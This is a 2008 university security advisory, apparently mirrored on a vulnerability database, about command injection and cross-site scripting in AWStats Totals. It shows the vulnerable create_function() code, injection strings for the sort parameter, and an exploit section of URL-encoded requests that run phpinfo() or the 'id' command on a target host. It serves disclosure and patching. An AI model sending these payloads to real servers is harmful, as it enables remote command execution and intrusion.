Search...

Multiple Vulnerabilities in AWStats Totals

2008-08-26T00:00:00
ID SECURITYVULNS:DOC:20412
Type securityvulns
Reporter Securityvulns
Modified 2008-08-26T00:00:00

Description

Emory University UTS Security Advisory EMORY-2008-01

Topic: Multiple Vulnerabilities in AWStats Totals

Original release date: August 26, 2008

SUMMARY

Telartis's AWStats Totals program is vulnerable to command execution and cross site scripting attacks. A remote attacker could exploit these vulnerabilities to run arbitrary commands on the system with the permissions of the web server.

AFFECTED SOFTWARE

  • AWStats Totals 1.0 - 1.14

UNAFFECTED

  • AWStats Totals >= 1.15

IMPACT

A remote attacker could exploit these vulnerabilities to run arbitrary commands on the web server's host operating system.

DETAILS

AWStats Totals takes three URL parameters, "month," "year," and "sort," and uses them without checking them for validity.

The program uses the month and year parameters in output it displays to the user. It will display any HTML or Javascript code included in these parameters, which the user's browser will then render.

The program uses the sort parameter to build an anonymous PHP function with the create_function() function.

> function multisort(&$array, $key) { > $cmp = create_function('$a, $b', > 'if ($a["'.$key.'"] == $b["'.$key.'"]) return 0;'. > 'return ($a["'.$key.'"] > $b["'.$key.'"]) ? -1 : 1;'); > usort($array, $cmp); > } > > if ($sort == 'config') sort($rows); else multisort($rows, $sort);

Taking care to match properly the quotes and angle brackets, it is possible to insert PHP expressions into the code for the function. For example, to run the phpinfo() function, one might set sort to this value:

"].phpinfo().$a["

Since any code one injects gets run multiple times, however, it may be useful to exit the program after a single invocation:

"].phpinfo().exit().$a["

It is also possible to insert PHP expressions through the use of variable expansion within strings on newer versions of PHP:

{${phpinfo()}}{${exit()}}

SOLUTION

Upgrade to AWStats Totals 1.15.

http://www.telartis.nl/xcms/awstats/

EXPLOIT

The following examples require that magic quotes be disabled, but will work on all versions of PHP.

This example will display phpinfo().

http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2ephpinfo%28%29%2eexit%28%29%2e%24a%5b%22

This example will run the "id" command on the target system.

http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2epassthru%28%27id%27%29%2eexit%28%29%2e%24a%5b%22

======

The following examples require a version of PHP which parses function calls inside strings (5+, some versions of 4?), but will work if magic quotes are enabled.

This example will display phpinfo().

http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bphpinfo%28%29%7d%7d%7b%24%7bexit%28%29%7d%7d

This example will run the "id" command on the target system.

http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d

ACKNOWLEDGMENTS

Thanks to Telartis B.V. and Jeroen de Jong for quickly releasing an updated version and for assisting with this advisory.

DISCLAIMER

The information in this advisory is provided by Emory as a courtesy and without any representations or warranties. Recipients are advised to conduct their own investigation and due diligence before relying on its contents.

REVISION HISTORY

2008-08-26 original release

JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by